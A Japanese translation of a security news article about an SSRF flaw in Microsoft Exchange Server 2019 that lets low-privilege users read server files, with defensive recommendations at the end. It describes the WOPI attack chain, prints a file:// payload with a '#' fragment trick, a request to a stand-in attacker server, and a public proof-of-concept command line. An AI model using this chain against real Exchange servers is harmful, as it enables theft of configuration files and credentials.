新たに公表されたMicrosoft Exchangeの脆弱性は、CVE-2026-45504(CVSSスコア: 8.8)として識別されており、深刻なサーバーサイドリクエストフォージェリ(SSRF)の欠陥を露呈するものです。
この問題により、認証済みの権限の低いユーザーが、脆弱なExchangeサーバー上の任意のファイルにアクセスして読み取ることが可能になります。この脆弱性はHawkTraceのセキュリティ研究者Batuhan Er氏によって発見され、Microsoft Exchange Server 2019に影響を及ぼします。
脆弱性管理プラットフォーム
Microsoft ExchangeのSSRF脆弱性
この問題は、Web Application Open Platform Interface(WOPI)の統合処理時に、外部から渡されるURLの検証が不適切であることに起因します。
具体的には、OneDriveProUtilitiesコンポーネント内に欠陥があり、Web Application Companion(WAC)トークンを生成する際にExchangeがURLを処理する方法に影響を与えます。
根本原因は、ユーザーが制御可能な入力がHTTPリクエスト関数に渡される際の安全でない処理にあります。TryTwiceメソッドはこの挙動を如実に示しており、攻撃者が影響を及ぼせる入力を送信リクエストで直接使用しています。
private static WebResponse TryTwice(ICallContext callContext, string url, ICredentials credentials, WebHeaderCollection headers)
{
HttpWebRequest httpWebRequest = WebRequest.CreateHttp(url);
httpWebRequest.Method = "GET";
httpWebRequest.Credentials = credentials;
...
IAsyncResult asyncResult = httpWebRequest.BeginGetResponse(null, null);
asyncResult.AsyncWaitHandle.WaitOne();
return httpWebRequest.EndGetResponse(asyncResult);
}
urlパラメータがサニタイズされていないため、攻撃者は任意のエンドポイントを指定でき、これによりSSRFの挙動が引き起こされます。この問題は、GetTokenRequestWebResponseとGetWacUrlを組み合わせた攻撃チェーンによって悪用可能になります。ここでExchangeはSharePointに似たエンドポイントへのリクエストを構築し、WebApplicationUrlやAccessTokenといった重要なフィールドを含むXMLレスポンスを解析します。
この悪用の鍵となるのは、Exchangeがリモートサーバーから返されたWebApplicationUrlを信頼してしまう点です。攻撃者は、次のような細工を施したファイルベースのURIを返す悪意あるエンドポイントをホストすることができます。
file:///C:/Windows/win.ini#
ここで重要なのが「#」フラグメントの使用です。ExchangeがURLにOAuthパラメータを追加する際、フラグメント以降の部分はURIパーサーによって無視されるため、元のファイルパスが実質的にそのまま保持されます。この結果、ExchangeはFileWebRequestを発行してローカルのシステムファイルを読み取り、その内容を攻撃者に返してしまいます。
この攻撃チェーンは、権限の低いユーザーがExchange Web Services(EWS)経由で、攻撃者が制御するProviderEndpointUrlを指す悪意ある参照添付ファイルを作成することから始まります。この添付ファイルにアクセスまたはプレビューされると、Exchangeは攻撃者のサーバーへバックエンドリクエストを送信します。
/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(fileUrl=@p,requestedAction=0)?@p='http://attacker-server/'
攻撃者は悪意あるファイルURIで応答し、ファイル読み取り操作を引き起こします。この手法により、設定ファイルや認証情報、システムデータといった機密ファイルへのアクセスが可能になります。
公開された概念実証(PoC)コードが公開されており、認証済み認証情報を用いた悪用の様子が示されています。
python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local/ --target-file "C:/Windows/System32/drivers/etc/hosts"
根本原因は、WebApplicationUrlフィールドに対するスキーム検証が存在しないことにあり、これによりfile://のような非HTTPスキームが処理されてしまいます。Microsoftは、これらのURLをファイル処理関数に渡す前の厳格な検証を実施しておらず、その結果として任意のファイルアクセスが可能になっています。
セキュリティ専門家は、file://をはじめとする同種のプロトコルをブロックする厳格なURLスキーム検証の実施に加え、不審なEWS添付ファイルの活動や送信方向のSSRFパターンを監視することを推奨しています。オンプレミスでExchangeを運用している組織は、更新プログラムが提供され次第優先的にパッチを適用し、Exchangeサービスへのアクセスを制限してリスクを最小化すべきです。
Windows、Linux、macOS仮想マシン上でサイバー脅威を操作し、攻撃チェーン全体を発動 - ANY RUNでマルウェアとフィッシングを分析
コンピュータセキュリティ
翻訳元: https://gbhackers.com/microsoft-exchange-ssrf-vulnerability/